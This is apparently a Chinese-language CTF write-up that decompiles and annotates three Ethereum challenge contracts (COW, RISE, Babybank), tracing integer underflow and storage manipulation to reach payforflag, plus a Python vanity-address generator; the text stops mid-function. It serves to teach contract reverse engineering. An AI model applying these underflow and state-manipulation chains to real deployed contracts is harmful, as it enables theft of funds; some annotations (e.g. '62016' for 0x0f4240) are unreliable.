题目
数字经济CTF-COW区块链题目详解
这题是从先知社区上看到的题目,然后正在学区块链就来分析下。
因为编写脚本其实连蒙带抄都能写出来,重要的是整个过程的复现。找到payforflag的触发条件,以及锻炼整个的逆向合约的能力。
话不多说直接贴反汇编代码了。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x1a374399) {
// Dispatch table entry for 0x1a374399 (unknown)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00be;
var var2 = func_02FA();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x1cee5d7a) {
// Dispatch table entry for 0x1cee5d7a (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0115;
var2 = func_0320();
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else if (var0 == 0x6bc344bc) {
// Dispatch table entry for payforflag(string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01be;
var temp4 = msg.data[0x04:0x24] + 0x04;
var temp5 = msg.data[temp4:temp4 + 0x20];
var temp6 = memory[0x40:0x60];
memory[0x40:0x60] = temp6 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp6:temp6 + 0x20] = temp5;
memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
var2 = temp6;
payforflag(var2);
stop();
} else if (var0 == 0x8da5cb5b) {
// Dispatch table entry for owner()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01d5;
var2 = owner();
var temp7 = memory[0x40:0x60];
memory[temp7:temp7 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp8 = memory[0x40:0x60];
return memory[temp8:temp8 + (temp7 + 0x20) - temp8];
} else if (var0 == 0x96c50336) {
// Dispatch table entry for 0x96c50336 (unknown)
var1 = 0x021f;
func_059E();
stop();
} else if (var0 == 0x9ae5a2be) {
// Dispatch table entry for 0x9ae5a2be (unknown)
var1 = 0x0229;
func_0654();
stop();
} else if (var0 == 0xd0d124c0) {
// Dispatch table entry for 0xd0d124c0 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0240;
var2 = func_0730();
var temp9 = memory[0x40:0x60];
memory[temp9:temp9 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp10 = memory[0x40:0x60];
return memory[temp10:temp10 + (temp9 + 0x20) - temp10];
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x02c3;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
var temp11 = memory[0x40:0x60];
memory[temp11:temp11 + 0x20] = var2;
var temp12 = memory[0x40:0x60];
return memory[temp12:temp12 + (temp11 + 0x20) - temp12];
} else if (var0 == 0xed6b8ff3) {
// Dispatch table entry for 0xed6b8ff3 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x02ee;
func_076D();
stop();
} else if (var0 == 0xff2eff94) {
// Dispatch table entry for Cow()
var1 = 0x02f8;
Cow();
stop();
} else { revert(memory[0x00:0x00]); }
}
function func_02FA() returns (var r0) { return storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff; }
function func_0320() returns (var r0) { return storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; }
function payforflag(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
if (msg.sender != storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
//flag 要求就是 storage[0] storage[1] storage[2] 都是 msg.sender就成功了。
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2, memory[temp1:temp1 + 0x00] = address(storage[0x03] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) {
var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
var temp3 = arg0;
var var1 = temp3;
var temp4 = memory[0x40:0x60];
var var2 = temp4;
var var3 = var2;
var temp5 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp5 - var3;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp5 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;
if (var10 >= var7) {
label_053B:
var temp6 = var6;
var4 = temp6 + var4;
var5 = temp6 & 0x1f;
if (!var5) {
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
return;
} else {
var temp8 = var5;
var temp9 = var4 - temp8;
memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
return;
}
} else {
label_0529:
var temp11 = var10;
memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
var10 = temp11 + 0x20;
if (var10 >= var7) { goto label_053B; }
else { goto label_0529; }
}
} else {
var temp12 = returndata.length;
memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function owner() returns (var r0) { return storage[0x03] & 0xffffffffffffffffffffffffffffffffffffffff; }
function func_059E() {
var var0 = 0x00;
var var1 = var0;//0
var var2 = 0x0de0b6b3a7640000;//1 ether
var var3 = msg.value;
if (!var2) { assert(); }
var0 = var3 / var2;
if (var0 >= 0x01) { //传入大于 1ether
var temp0 = var1 + 0x01; //temp0=1
storage[temp0] = msg.sender | (storage[temp0] & ~0xffffffffffffffffffffffffffffffffffffffff);
//storage[1]=msg.sender
return;
} else {
var1 = 0x05;
storage[var1] = msg.sender | (storage[var1] & ~0xffffffffffffffffffffffffffffffffffffffff);
return;
}
}
function func_0654() {
var var0 = 0x00;//0
var var1 = 0x0de0b6b3a7640000;//1 ether
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var0;
if (msg.sender & 0xffff != 0x525b) { return; }//末尾为525b
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] - 0xb1b1; //x-=45489 溢出
}
function func_0730() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function func_076D() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) //62016
{ revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = msg.sender | (storage[0x02] & ~0xffffffffffffffffffffffffffffffffffffffff);//msg.sender
//msg.sender
}
function Cow() {
var var0 = 0x00;
var var1 = 0x0de0b6b3a7640000;//1 ether
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
if (var0 != 0x01) { return; } //必须转账1 ether
//storage[0] 就满足要求。
storage[0x00] = msg.sender | (storage[0x00] & ~0xffffffffffffffffffffffffffffffffffffffff); // msg.sender
}
}
代码中做了一定的注释。不过下面还是对具体的分析做流程。
- 寻找payforflag的条件。

2. 从这里我们可以看出payforflag 3个条件就是让msg.sender == storage[0] storage[1] 和 storage[2]
然后我们只需要从下面的代码从修改stroage[0,1,2]的值开始入手即可。

func_059E() 中 我已经写了注释,其中要求传入var0>= 1 ether即可,就可以调整storage[temp0] 也就是storage[1]=msg.sender.

查看func_0654()
这里要求是一个传入的账户必需以525b结尾,然后最后给了一个storage[temp1]-=0xb1b1自然而然可以想到溢出 ,这里temp1是一个我们的特征值。可以理解为独立标志我们的一个mapping。
接着看

func_076D中,他对我们的散列进行了判断,也就是kccak256(memory[0x00:0x40]) 这里进行了判断,判断此值是否<=62016 ,这里我们自然而然可以想到之前的溢出,下溢之后就可以满足这里,从而使得storage[2]=msg.sender.

funtion Cow() 真不容易遇到了个能解析出来名字的(x
这里满足转账为1ether 就能实现 storage[0]=msg.sender.
至此三个条件均满足,可以进行payforflag了。
但是有个问题还没想通:等着问dalao了,如何保证转账账户结尾为525b呢 。 2333
PS : 解决了,找到了pikachu大佬的博客下有这样一篇博文,
from ethereum import utils
import os, sys
# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
generate_eoa1
可以直接生成低四位为1b1b
的外部账户generate_eoa2
可以生成一个外部账户,该外部账户部署的第一个智能合约的地址低四位为1b1b
数字经济CTF-RISE区块链题目详解
这是数字经济第二题,两题都是pikachu师傅出的,主要还是考察逆向出整个合约的逻辑。话不多说还是进行合约逆向。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x0dc8cca1) {
// Dispatch table entry for 0x0dc8cca1 (unknown)
var var1 = 0x00bc;
var var2 = msg.data[0x04:0x24];
func_0293(var2);
stop();
} else if (var0 == 0x132429ba) {
// Dispatch table entry for 0x132429ba (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ff;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
func_03B2(var2);
stop();
} else if (var0 == 0x3884d635) {
// Dispatch table entry for airdrop()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0116;
airdrop();
stop();
} else if (var0 == 0x6bc344bc) {
// Dispatch table entry for payforflag(string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x017f;
var temp0 = msg.data[0x04:0x24] + 0x04;
var temp1 = msg.data[temp0:temp0 + 0x20];
var temp2 = memory[0x40:0x60];
memory[0x40:0x60] = temp2 + (temp1 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp2:temp2 + 0x20] = temp1;
memory[temp2 + 0x20:temp2 + 0x20 + temp1] = msg.data[temp0 + 0x20:temp0 + 0x20 + temp1];
var2 = temp2;
payforflag(var2);
stop();
} else if (var0 == 0x8e2a219e) {
// Dispatch table entry for 0x8e2a219e (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01ac;
var2 = msg.data[0x04:0x24];
func_0860(var2);
stop();
} else if (var0 == 0x9ec1ebb8) {
// Dispatch table entry for 0x9ec1ebb8 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01d9;
var2 = msg.data[0x04:0x24];
func_08C6(var2);
stop();
} else if (var0 == 0xcbfc4bce) {
// Dispatch table entry for gift(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x021c;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = gift(var2);
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = var2;
var temp4 = memory[0x40:0x60];
return memory[temp4:temp4 + (temp3 + 0x20) - temp4];
} else if (var0 == 0xd0e30db0) {
// Dispatch table entry for deposit()
var1 = 0x023a;
deposit();
stop();
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x027d;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
var temp5 = memory[0x40:0x60];
memory[temp5:temp5 + 0x20] = var2;
var temp6 = memory[0x40:0x60];
return memory[temp6:temp6 + (temp5 + 0x20) - temp6];
} else { revert(memory[0x00:0x00]); }
}
function func_0293(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
//如果没钱就滚了。 // storage[3]
var var1 = 0x0de0b6b3a7640000;
var var2 = msg.value;
if (!var1) { assert(); }
var0 = var2 / var1;
if (arg0 != storage[0x01]) { //arg0 不是 storage[1]
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00; // //storage[sanlie(msg.sender)]=0
storage[0x02] = 0x01;// storage[2]=1 ether
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]); // storage[sanlie(msg.sender)]
storage[temp0] = storage[temp0] + var0 * storage[0x02];//storage[sanlie(msg.sender)]=storage[sanlie(msg.sender)]+var0(传入以太币)*storage[2]
storage[0x02] = 0x01;// storage[2]=1 ether
return;
}
}
function func_03B2(var arg0) {
var var0 = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= var0)//<0
//storage[3]<=0
{ revert(memory[0x00:0x00]); }
//storage[sanlie(msg.sender)]<=0 返回
if (arg0 == 0x00) {
var temp0 = var0;
var temp1 = temp0;//var0
storage[temp1] = msg.sender | (storage[temp1] & ~0xffffffffffffffffffffffffffffffffffffffff);
// storage[0]=msg.sender
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[temp0 + 0x01] = storage[keccak256(memory[0x00:0x40])];
//storage[1]=storage[3]
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
//storage[3]=0
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp2 = storage[keccak256(memory[0x00:0x40])];
//temp2 = storage[3]
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = temp2;
//storage[arg0]=storage[3];
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
//storage[3]=0
return;
}
}
function airdrop() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); } //不是0不给空投
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
//其实storage[4]一直没操作过。但是得调用 这个1000000次确实卡比。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01; //给 1 ether 空投。
//storage[3]+=1
}
function payforflag(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) { revert(memory[0x00:0x00]); }
//storage[sasnlie(msg.sender)]> 1000000
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = 0x01;
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2,
memory[temp1:temp1 + 0x00] = address(storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
if (!var0) {
var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
var temp3 = arg0;
var var1 = temp3;
var temp4 = memory[0x40:0x60];
var var2 = temp4;
var var3 = var2;
var temp5 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp5 - var3;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp5 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;
if (var10 >= var7) {
label_0823:
var temp6 = var6;
var4 = temp6 + var4;
var5 = temp6 & 0x1f;
if (!var5) {
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
return;
} else {
var temp8 = var5;
var temp9 = var4 - temp8;
memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
return;
}
} else {
label_0811:
var temp11 = var10;
memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
var10 = temp11 + 0x20;
if (var10 >= var7) { goto label_0823; }
else { goto label_0811; }
}
} else {
var temp12 = returndata.length;
memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_0860(var arg0) {
if (msg.sender != storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x01] = arg0;
//storage[5]=msg.sender判断
//storage[1]随便赋值
}
function func_08C6(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x02] = arg0;
//storage[0]=msg.sender;
//storage[2]随便赋值。
}
function gift(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x04;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//storage[arg0] 返回对应地址storage[4]
}
function deposit() {
var var0 = 0x00;
var var1 = 0x0de0b6b3a7640000; //1 ether
var var2 = msg.value;
if (!var1) { assert(); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x03;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + var2 / var1;
//捐钱
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x03;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//storage[3]
}
}
已经加过了注释。不过还是整体分析下
先看payforflag

逻辑很简单,就是storage[3]>1000000就可以得到flag了。

就是一个空投,没钱给你一个币。 因为这里的storage[4]他直接被storage[3]覆盖了,其实你要是牛逼你可以调用1000000次。

func_08C6 可以实现storage[0]=msg.sender. 并且让storage[2]随便填。

看这函数名就知道是捐款。 捐多少 storage[3]加多少。

用来拿钱的主要函数了。这里先会判断 storage[3]有没有钱。
传入的arg0是一个值,就是来判断 你是不是storage[1]里存的这个数。
如果是那么就可以执行一个storage[3]的任意赋值了,
storage[3]+=var0*storage[2];
var0=var2/var1 , var2=msg.value (就是你传了多少钱)
所以只需要让storage[2]大点。

这个需要你 msg.sender=storage[5]
然后storage[1]随便赋值。

另一个十分重要函数,传入arg0若有钱即storage[3]>0 且args=0 那么就storage[0]=msg.sender, Storage[1]=storage[3],storage[3]=0.
就是换了地址其实。
但是十分有用。
那么到现在整个解题链已经出了。
- deposit() 传入value=1 ether
- func_03B2(0)
- func_08C6(1000000)
- deposit() 传入value=2 ether
- func_0293(1)
- payforflag(b64email)
大概这样不是很直观。用excel画个图
deposit(). 传 1 ether

func_03B2(0)

func_08C6(1000000)

deposit() 传2 ether

func_0293(1)
storage[temp0] = storage[temp0] + var0 * storage[0x02]=storage[3] = storage[3] + 2 * 1000000;
这样就够了直接
payforflag()就结束了。
强网杯区块链题目--Babybank深入分析
还是老操作直接合约逆向贴代码了。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x2e1a7d4d) {
// Dispatch table entry for withdraw(uint256)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var var2 = msg.data[0x04:0x24];
withdraw(var2);
stop();
} else if (var0 == 0x66d16cc3) {
// Dispatch table entry for profit()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
profit();
stop();
} else if (var0 == 0x8c0320de) {
// Dispatch table entry for payforflag(string,string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
var temp1 = msg.data[0x04:0x24];
var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp0:temp0 + 0x20] = temp2;
var1 = 0x00aa;
memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
var temp3 = memory[0x40:0x60];
var temp4 = msg.data[0x24:0x44] + 0x04;
var temp5 = msg.data[temp4:temp4 + 0x20];
memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp3:temp3 + 0x20] = temp5;
var2 = temp0;
memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
var var3 = temp3;
payforflag(var2, var3);
stop();
} else if (var0 == 0x8e2a219e) {
// Dispatch table entry for 0x8e2a219e (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24];
func_045C(var2);
stop();
} else if (var0 == 0x9189fec1) {
// Dispatch table entry for guess(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24];
guess(var2);
stop();
} else if (var0 == 0xa9059cbb) {
// Dispatch table entry for transfer(address,uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var3 = msg.data[0x24:0x44];
transfer(var2, var3);
stop();
} else if (var0 == 0xd41b6db6) {
// Dispatch table entry for level(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01e7;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = level(var2);
label_01E7:
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = var2;
var temp7 = memory[0x40:0x60];
return memory[temp7:temp7 + temp6 - temp7 + 0x20];
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01e7;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
goto label_01E7;
} else { revert(memory[0x00:0x00]); }
}
function withdraw(var arg0) {
if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
// arg0==2
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// storage[msg.sender[0]]>=2
var temp0 = memory[0x40:0x60];
var temp1 = arg0;
memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = storage[temp2] - temp1;
// storage[msg.sender[0]]-=arg0
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
//storage[msg.sender[1]]==0
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
//msg.sender末尾b1b1
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
//storage[msg.sender[0]]+=1
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
//storage[msg.sender[1]]+=1
}
function payforflag(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x02540be400 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
//storage[msg.sender[0]]>=10000000000
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
var temp0 = memory[0x40:0x60];
var temp1 = address(address(this)).balance;
var temp2;
temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
var var0 = !temp2;
if (!var0) {
var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
var temp3 = arg0;
var var1 = temp3;
var var2 = arg1;
var temp4 = memory[0x40:0x60];
var var3 = temp4;
var var4 = var3;
var var5 = var4 + 0x20;
var temp5 = var5 + 0x20;
memory[var4:var4 + 0x20] = temp5 - var4;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var6 = temp5 + 0x20;
var var7 = var1 + 0x20;
var var8 = memory[var1:var1 + 0x20];
var var9 = var8;
var var10 = var6;
var var11 = var7;
var var12 = 0x00;
if (var12 >= var9) {
label_03BC:
var temp6 = var8;
var6 = temp6 + var6;
var7 = temp6 & 0x1f;
if (!var7) {
var temp7 = var6;
memory[var5:var5 + 0x20] = temp7 - var3;
var temp8 = var2;
memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
var6 = temp7 + 0x20;
var8 = memory[temp8:temp8 + 0x20];
var7 = temp8 + 0x20;
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) {
label_041C:
var temp9 = var8;
var6 = temp9 + var6;
var7 = temp9 & 0x1f;
if (!var7) {
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
return;
} else {
var temp11 = var7;
var temp12 = var6 - temp11;
memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
var temp13 = memory[0x40:0x60];
log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
return;
}
} else {
label_040D:
var temp14 = var12;
memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
var12 = temp14 + 0x20;
if (var12 >= var9) { goto label_041C; }
else { goto label_040D; }
}
} else {
var temp15 = var7;
var temp16 = var6 - temp15;
memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
var temp17 = temp16 + 0x20;
memory[var5:var5 + 0x20] = temp17 - var3;
var temp18 = var2;
memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
var6 = temp17 + 0x20;
var8 = memory[temp18:temp18 + 0x20];
var7 = temp18 + 0x20;
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) { goto label_041C; }
else { goto label_040D; }
}
} else {
label_03AD:
var temp19 = var12;
memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
var12 = temp19 + 0x20;
if (var12 >= var9) { goto label_03BC; }
else { goto label_03AD; }
}
} else {
var temp20 = returndata.length;
memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_045C(var arg0) {
